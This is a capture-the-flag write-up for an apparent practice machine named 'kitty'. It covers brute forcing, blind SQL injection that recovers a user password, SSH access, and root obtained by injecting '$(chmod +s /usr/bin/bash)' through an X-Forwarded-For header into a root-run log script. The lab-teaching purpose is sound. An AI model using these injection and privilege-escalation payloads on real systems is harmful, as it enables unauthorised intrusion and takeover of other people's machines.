Begun with nmap scan
ssh
http

On the website we got at /index.php a login page also a register page.
Register an account and get welcomed to a page which says the site is still under development.

Next I tried to bruteforce passwords with hydra. I first tried the username admin and got a password hit for the word sleepy.
When trying this I got redirected to a page which said I had tried an SQL injection.
When also trying to search for usernames with a test password I also got hits on usernames such as asleep which aslo lead to the same page warning me of injection.

So next I tried sqlmap, but to no result.

Next I tried manual sql injection which seemed to work. I first just tried user1';-- - which redirected me to the login page.
Afer this I tried database, table, colum etc enumeration. But instead of doing this manually I wrote a python file to enumerate every letter of database(), tables, columns and such.

After a while of coding I got the following enumeration:
Database name: mywebsite
Database name: mywebsite
Table name: siteusers
Column name: created_at
Column name: id
Column name: password
Column name: username
Column name: Failed to extract anything
Which column would you like to enumerate: password
What username: Kitty

Kitty's Password: L0ng_Liv3_KittY

I tried the username kitty since that was the rooms name and it was mentioned on the website.

So now I have a password and it seems to work in the website.

Next to try the username kitty and password L0ng_Liv3_KittY on ssh which worked and I now have user access and can get the first flag. Note here that kitty will work as username but Kitty won't, so capital letters matters.

I also tried a gobuster scan which also detected a config.php file but visting it through the website it is blank. But through ssh we can navigate to /var/www/ and see we have both a development and html folder. Inside development we see the config.php file and also a logged file.

In the config file we get a username and password, we can use this to access the database on the machine with mysql -u kitty -p.
Although nothing new here.
With ss -ltn we can see that 127.0.0.1 is listening on 8080 which probably is the dev server.
If we inspect the crontab with cat /etc/crontab or crontab -l we see nothing special.
One toool we can use is pspy64 to see what is running on the system.
We can download it with wget
https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
Now run it with ./pspy64 -pf -i 1000 and see /usr/bin/bash /opt/log_checker.sh whcih means a file called log_checker.sh is run automatically once in a while.
Inspecting this and we see

```
#!/bin/sh
while read ip;
do
  /usr/bin/sh -c "echo $ip >> /root/logged";
done < /var/www/development/logged
cat /dev/null > /var/www/development/logged
```

This means the command in $ip will run with sudo commands.
We can assume this logger is probably ran when something loggable happens, like a sql injection which we can trigger with certain usernames and password. However we need to send this to the development server.
In index.php we have the code

```
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
```

which means if we can set the X_FORWARD to a command which can grant us root permissions and at the same time trigger the logger through sql injection with the bad password or username, that command will run as root through the sh file.

So we run this:

```
curl 127.0.0.1:8080/index.php -H 'X-Forwarded-For: $(chmod +s /usr/bin/bash)' -d 'username=asleep-- -'
```

Which will change to super user permissions for the /usr/bin/bash
Now we can run /usr/bin/bash -p and we will now be root!